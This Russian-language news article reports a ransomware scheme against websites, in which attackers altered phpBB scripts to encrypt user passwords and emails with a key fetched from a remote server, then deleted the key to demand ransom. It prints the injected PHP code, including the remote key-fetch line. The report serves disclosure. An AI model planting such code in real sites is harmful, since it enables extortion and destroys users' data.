Всё больше персональных компьютеров становятся жертвами троянов-вымогателей, которые шифруют документы и требуют выкуп в биткоинах за их расшифровку. Теперь на ту же наживку начали ловить владельцев веб-сайтов. О новых приёмах преступников сообщила компания High-Tech Bridge.

Специалисты впервые столкнулись с новым видом атаки в декабре 2014 года, когда за помощью обратилась одна из финансовых компаний: их веб-сайт вышел из строя и выдавал ошибку БД.

Тщательное расследование выявило поразительную вещь. Оказывается, троян установили на сервере ещё шесть месяцев (!) назад. Несколько серверных скриптов модифицировали таким образом, чтобы шифровать информацию перед занесением в БД и расшифровывать её «на лету» при получении запроса к базе. Ключ шифрования хранился на удалённом сервере.

Работа зловреда долго оставалась незамеченной для пользователей веб-приложения, пока в день «Д» злоумышленники не пошли в атаку и не удалили ключ шифрования.

Сотрудники High-Tech Bridge посчитали это уникальным случаем таргетированной атаки, но не тут-то было. Вскоре с аналогичным вымогательством столкнулся ещё один клиент, у которого враги зашифровали... базу с учётными данными пользователей форума phpBB.

Здесь использовался такой же сценарий. Функцию “sql_fetchrow()” в файле factory.php модифицировали, чтобы она выдавала расшифрованные значения полей с именами пользователей и адресами электронной почты.

if(isset($result['user_password'])){ 
 $result['user_password'] = $cipher->decrypt($result['user_password']); 
} 
if(isset($result['user_email'])){ 
 $result['user_email'] = $cipher->decrypt($result['user_email']); 
}

Шифрование этих полей добавили в другие скрипты.

$sql_ary = array( 
 'username'=>$user_row['username'], 
 'username_clean' => $username_clean, 
 'user_password' => (isset($user_row['user_password']))? 
    $cipher->encrypt($user_row['user_password']):$cipher->encrypt(''), 
 'user_email'=> $cipher->encrypt(strtolower($user_row['user_email'])), 
 'user_email_hash'=> phpbb_email_hash($user_row['user_email']), 
 'group_id' => $user_row['group_id'], 
 'user_type' => $user_row['user_type'], 
);

Адрес ключа шифрования прописан в конфигурационном файле.

class Cipher { 
 private $securekey, $iv; 
 function __construct($textkey) { 
  $this->securekey = hash('sha256',$textkey,TRUE); 
  $this->iv = mcrypt_create_iv(32); 
 } 
 function encrypt($input) { 
  return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, 
       $this->securekey, $input, MCRYPT_MODE_ECB, $this->iv)); 
 } 
 function decrypt($input) { 
  return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, 
       $this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv)); 
 } 
} 
$key=file_get_contents('https://103.13.120.108/sfdoif89d7sf8d979dfgf/ 
sdfds90f8d9s0f8d0f89.txt'); 
$cipher=new Cipher($key); 

Злоумышленник терпел два месяца, прежде чем удалить ключ с удалённого сервера и потребовать выкуп $1000.

На сегодняшний день ни один антивирус не определяет инсталляторы этого зловреда: файл1, файл2.

Подписаться
Уведомить о
18 комментариев
Старые
Новые Популярные
Межтекстовые Отзывы
Посмотреть все комментарии